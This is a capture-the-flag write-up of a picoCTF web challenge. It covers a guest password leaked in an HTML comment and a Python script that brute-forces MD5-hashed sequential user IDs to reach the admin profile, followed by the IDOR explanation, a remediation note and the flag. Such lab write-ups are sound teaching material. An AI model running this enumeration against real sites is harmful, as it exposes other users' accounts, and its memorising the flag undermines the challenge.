Challenge

Category: Web · Points: 100 · CTF: picoCTF 2026

We’re given a login page at crystal-peak.picoctf.net.


Analysis

Step 1 — Inspect the page source

Opening DevTools immediately reveals a comment in the HTML:

<!-- Email: guest@picoctf.org Password: guest -->

Logging in with those credentials works and lands us on a user profile page. The URL looks like:

/profile/user/53a1320cb5d2f56130ad5222f93da374

That long hex string is an MD5 hash. The question is — what’s being hashed?

Step 2 — Identify the hash input

MD5 of a predictable value is a classic mistake. Given this is a CTF with sequential users, the most likely input is a numeric user ID. The guest hash 53a1320cb5d2f56130ad5222f93da374 can be cracked or we can just brute force nearby IDs to find admin.


Approach

Brute force a range of numeric IDs, hash each one with MD5, and try accessing the profile URL:

import requests
import hashlib

base = "http://crystal-peak.picoctf.net:60927/profile/user/"

for i in range(2981, 3021):
    h = hashlib.md5(str(i).encode()).hexdigest()
    r = requests.get(base + h)
    if r.status_code == 200:
        print(f"ID {i}{h} ✓")
        print(r.text)
        break

One of the IDs in that range resolves to the admin profile, which prints:

Welcome, admin! Here is the flag: picoCTF{id0r_unl0ck_c642ae68}

This is an IDOR (Insecure Direct Object Reference) — the profile endpoint has no authorisation check, so any user can access any profile just by knowing (or guessing) the hash.


Key Takeaway

Two vulnerabilities combined here: credentials leaked in an HTML comment, and profile URLs using MD5 of a sequential integer — trivially brute forceable. Profile endpoints must check that the authenticated user owns the requested resource, not just that the hash is valid.


Flag

picoCTF{id0r_unl0ck_c642ae68}